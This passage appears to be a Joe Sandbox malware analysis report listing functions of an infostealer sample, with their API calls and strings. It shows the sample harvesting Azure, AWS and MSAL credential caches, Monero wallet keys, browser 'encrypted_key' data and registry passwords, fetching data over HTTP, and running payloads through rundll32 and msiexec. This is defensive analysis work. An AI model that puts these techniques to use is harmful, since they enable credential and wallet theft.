Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 6dc6ad9d155f412ea09dfcc7260b956466d3a146dfa2e6eb3220e12a0c6a8db8
Instruction ID: a4e86a9f4c649bcfe68105d3ba826a2f55b6c031f5ec7c43666e17c69b751ed6
Opcode Fuzzy Hash: 6dc6ad9d155f412ea09dfcc7260b956466d3a146dfa2e6eb3220e12a0c6a8db8
Instruction Fuzzy Hash: 938110B192111C9BDB24DF50CC91FEAB7B8FF18740F0082A8E209A6150DF716B8ACF95

Function 002F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcat.KERNEL32(?,00000000), ref: 002F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 002F4DCD

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

lstrcat.KERNEL32(?,00000000), ref: 002F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 002F4E59

Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
Part of subcall function 002F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
Part of subcall function 002F4910: FindClose.KERNEL32(000000FF), ref: 002F4B92

lstrcat.KERNEL32(?,00000000), ref: 002F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 002F4EE5

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49B0
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,003008D2), ref: 002F49C5
Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49E2
Part of subcall function 002F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 002F4A1E
Part of subcall function 002F4910: lstrcat.KERNEL32(?,0132F270), ref: 002F4A4A
Part of subcall function 002F4910: lstrcat.KERNEL32(?,00300FF8), ref: 002F4A5C
Part of subcall function 002F4910: lstrcat.KERNEL32(?,?), ref: 002F4A70
Part of subcall function 002F4910: lstrcat.KERNEL32(?,00300FFC), ref: 002F4A82
Part of subcall function 002F4910: lstrcat.KERNEL32(?,?), ref: 002F4A96
Part of subcall function 002F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 002F4AAC
Part of subcall function 002F4910: DeleteFileA.KERNEL32(?), ref: 002F4B31

Strings

\.IdentityService\, xrefs: 002F4ED9
\.aws\, xrefs: 002F4E4D
Azure\.aws, xrefs: 002F4E5F
*.*, xrefs: 002F4DD8
Azure\.IdentityService, xrefs: 002F4EEB
msal.cache, xrefs: 002F4EF0
*.*, xrefs: 002F4E64
Azure\.azure, xrefs: 002F4DD3
\.azure\, xrefs: 002F4DC1

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ca0bb1a56fb8f63b282d476e565a26a18934dd298fb5db736a860f36a1efd626
Instruction ID: 8313d594a26fc665f3e5a1cc9444c6f5ac6b6b4b8bff45941ffe474c2d7c2294
Opcode Fuzzy Hash: ca0bb1a56fb8f63b282d476e565a26a18934dd298fb5db736a860f36a1efd626
Instruction Fuzzy Hash: 5F4194BA95020867DB24F770DC57FED7338AB64740F4045A4F289660C1EEB45BD98F92

Function 002F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 002F906C

Strings

image/jpeg, xrefs: 002F9136

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: a4029b87406ea584dada2ee2d3cb92c317c813ba0eab4b54867742199fe15d71
Instruction ID: dec4906ff5ed8cc6bf79caa017d763a7e5ff2bcae7b68171584895f4c1a47e91
Opcode Fuzzy Hash: a4029b87406ea584dada2ee2d3cb92c317c813ba0eab4b54867742199fe15d71
Instruction Fuzzy Hash: 26710AB1910208ABDB14EFE4DC89FEEB7B8BF58300F508118F615A7290DB74A955DB61

Function 002F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

ShellExecuteEx.SHELL32(0000003C), ref: 002F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 002F335D
ShellExecuteEx.SHELL32(0000003C), ref: 002F34EA

Strings

/i ", xrefs: 002F33E4
/passive, xrefs: 002F345B
.dll, xrefs: 002F31E5
C:\Windows\system32\rundll32.exe, xrefs: 002F3332
"" , xrefs: 002F309A
.msi, xrefs: 002F3398
C:\Windows\system32\msiexec.exe, xrefs: 002F34BF
<, xrefs: 002F3490

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 88aa4ddf36b6a3776d4da8ed63d9a7fb31e9e40f040d46a50eceed5191bb6db3
Instruction ID: 107324ed13f76d985825933ce2d90a1310142aac628090c97bb0632df783779c
Opcode Fuzzy Hash: 88aa4ddf36b6a3776d4da8ed63d9a7fb31e9e40f040d46a50eceed5191bb6db3
Instruction Fuzzy Hash: B3120FB182010C9ADB19EBA0CC92FFDF778AF14380F504179E60A66195EF742B5ACF52

Function 002F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E6280: InternetOpenA.WININET(00300DFE,00000001,00000000,00000000,00000000), ref: 002E62E1
Part of subcall function 002E6280: StrCmpCA.SHLWAPI(?,0132F360), ref: 002E6303
Part of subcall function 002E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E6335
Part of subcall function 002E6280: HttpOpenRequestA.WININET(00000000,GET,?,0132EB40,00000000,00000000,00400100,00000000), ref: 002E6385
Part of subcall function 002E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002E63BF
Part of subcall function 002E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002E63D1

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 002F5318
lstrlen.KERNEL32(00000000), ref: 002F532F

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 002F5364
lstrlen.KERNEL32(00000000), ref: 002F5383
lstrlen.KERNEL32(00000000), ref: 002F53AE

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Strings

ERROR, xrefs: 002F530A
ERROR, xrefs: 002F5432
ERROR, xrefs: 002F54A9
ERROR, xrefs: 002F546F
ERROR, xrefs: 002F53B9

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: d89b19ea53d8a842dc2051148c96022fde9a0affe755590a8abef676d2453ed4
Instruction ID: 20ac10c95ed5cabac44d7906b241057a5d13125b5d503189ea06af83c47a1869
Opcode Fuzzy Hash: d89b19ea53d8a842dc2051148c96022fde9a0affe755590a8abef676d2453ed4
Instruction Fuzzy Hash: 70511DB093014D9BCB14FF60C992AFDB778AF10380F908134EA0A5A591DF746B6ACF52

Function 002F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 1e1c983a2feae8a03248e96409073e518631fa82069bd3cddb9d7bbe0926aba9
Instruction ID: 6c25ad14cddf3ee05e86fe6cc6afdd7f6f1c8a5403fb72e0dcb5eee36f83515b
Opcode Fuzzy Hash: 1e1c983a2feae8a03248e96409073e518631fa82069bd3cddb9d7bbe0926aba9
Instruction Fuzzy Hash: 94C175B591011D9BCB14EF60DC89FFAB378BF64344F0045A8F60AA7241DB70AAA5DF91

Function 002F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcat.KERNEL32(?,00000000), ref: 002F42EC
lstrcat.KERNEL32(?,0132ED20), ref: 002F430B
lstrcat.KERNEL32(?,?), ref: 002F431F
lstrcat.KERNEL32(?,0132DED8), ref: 002F4333

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002F8D90: GetFileAttributesA.KERNEL32(00000000,?,002E1B54,?,?,0030564C,?,?,00300E1F), ref: 002F8D9F

Part of subcall function 002E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 002E9D39

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002E148F,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002E148F), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F93C0: GlobalAlloc.KERNEL32(00000000,002F43DD,002F43DD), ref: 002F93D3

StrStrA.SHLWAPI(?,0132EC00), ref: 002F43F3
GlobalFree.KERNEL32(?), ref: 002F4512

Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9AEF
Part of subcall function 002E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,002E4EEE,00000000,?), ref: 002E9B01
Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9B2A
Part of subcall function 002E9AC0: LocalFree.KERNEL32(?,?,?,?,002E4EEE,00000000,?), ref: 002E9B3F

lstrcat.KERNEL32(?,00000000), ref: 002F44A3
StrCmpCA.SHLWAPI(?,003008D1), ref: 002F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 002F44D2
lstrcat.KERNEL32(00000000,?), ref: 002F44E5
lstrcat.KERNEL32(00000000,00300FB8), ref: 002F44F4

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 87c9f2529efd6835c7d7df09de57e03ec5ab96beed1be8ef914270b2d9743162
Instruction ID: 9f73014124db7ec70133ada5d47f2e1b2ba499392f77ac1b3cbd381d7aa81e6b
Opcode Fuzzy Hash: 87c9f2529efd6835c7d7df09de57e03ec5ab96beed1be8ef914270b2d9743162
Instruction Fuzzy Hash: A67167B6910208ABDB14FBA0DC95FFEB379AF58300F4045A8F605A7181EA74DB59CF91

Function 002E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002E12B4
Part of subcall function 002E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 002E12BB
Part of subcall function 002E12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 002E12D7
Part of subcall function 002E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002E12F5
Part of subcall function 002E12A0: RegCloseKey.ADVAPI32(?), ref: 002E12FF

lstrcat.KERNEL32(?,00000000), ref: 002E134F
lstrlen.KERNEL32(?), ref: 002E135C
lstrcat.KERNEL32(?,.keys), ref: 002E1377

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(00300E1A,01329C18,003005AE,?,?,002E13F9,?,0000001A,00300E1A,00000000,?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 002E1465

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002E148F,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002E148F), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

DeleteFileA.KERNEL32(00000000), ref: 002E14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 002E1335
.keys, xrefs: 002E136B
\Monero\wallet.keys, xrefs: 002E138D
wallet_path, xrefs: 002E1330

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 790383cf05a7020f97398057918822b0bf8af8d89cfe0de07f365e3d726a837d
Instruction ID: cc3e64108f063e2b6cfc28407b6a0c60f2663e8db399746b7c67d4104c9fce36
Opcode Fuzzy Hash: 790383cf05a7020f97398057918822b0bf8af8d89cfe0de07f365e3d726a837d
Instruction Fuzzy Hash: 215120B196011957CB15EB60DD92AEDB33CAF54740F4041B8B70A62091EE706B9ACEA6

Function 002E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002E72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 002E733A
Part of subcall function 002E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002E73B1
Part of subcall function 002E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 002E740D
Part of subcall function 002E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 002E7452
Part of subcall function 002E72D0: HeapFree.KERNEL32(00000000), ref: 002E7459

lstrcat.KERNEL32(00000000,003017FC), ref: 002E7606
lstrcat.KERNEL32(00000000,00000000), ref: 002E7648
lstrcat.KERNEL32(00000000, : ), ref: 002E765A
lstrcat.KERNEL32(00000000,00000000), ref: 002E768F
lstrcat.KERNEL32(00000000,00301804), ref: 002E76A0
lstrcat.KERNEL32(00000000,00000000), ref: 002E76D3
lstrcat.KERNEL32(00000000,00301808), ref: 002E76ED
task.LIBCPMTD ref: 002E76FB

Strings

: , xrefs: 002E764E

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
